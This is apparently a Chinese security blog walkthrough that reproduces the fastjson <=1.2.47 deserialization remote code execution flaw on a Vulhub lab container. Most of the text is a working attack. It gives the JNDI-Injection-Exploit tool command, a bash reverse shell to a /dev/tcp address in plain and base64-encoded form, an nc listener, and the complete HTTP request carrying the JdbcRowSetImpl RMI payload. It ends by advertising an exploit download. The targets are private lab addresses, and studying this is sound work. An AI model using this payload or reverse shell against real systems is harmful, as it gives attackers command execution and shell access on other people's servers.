本公众号所发布的文章及工具只限交流学习,本公众号不承担任何责任!如有侵权,请告知我们立即删除。
fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。
进入到vulbub靶场的/vulhub/fastjson/1.2.47-rce目录
使用命令:
docker-compose up -d #启动镜像,整个过程比较久,耐心等待
环境搭建完毕,访问http://192.168.0.140:8090/,得到如下页面
访问http://192.168.0.140:8090 抓包,修改数据包,就可以更新服务器端的信息
GET修改成POST,再添加
Content-Type:application/json
{"name":"alsly","age":20}
1、利用工具自动开启RMI和LDAP服务以及发布Exploit类
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "要执行的命令" -A "vpsip"
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/access" -A "192.168.0.1"
2、构造数据包,发送payload
2、进入终端,查看文件是否生成(确认命令正常执行)
1)进入终端
docker ps
docker exec -it 容器id bash
docker exec -it cdb842d6e03c bash
2)查看是否存在创建的文件,存在!
1)构造命令,反弹shell
bash -i >& /dev/tcp/192.168.0.128/6666 0>&1-> YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTI4LzY2NjYgMD4mMQ== #base64编码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTI4LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.1"
2)开启监听
nc -lvvp 6666
3)构造数据包,发送payload
POST / HTTP/1.1
Host: 192.168.0.140:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Type:application/json
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 266
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.1:1099/dab1pj",
"autoCommit":true
}
}
4)等待片刻,获得反弹shell
关注浪飒sec回复
221213
获取exp下载地址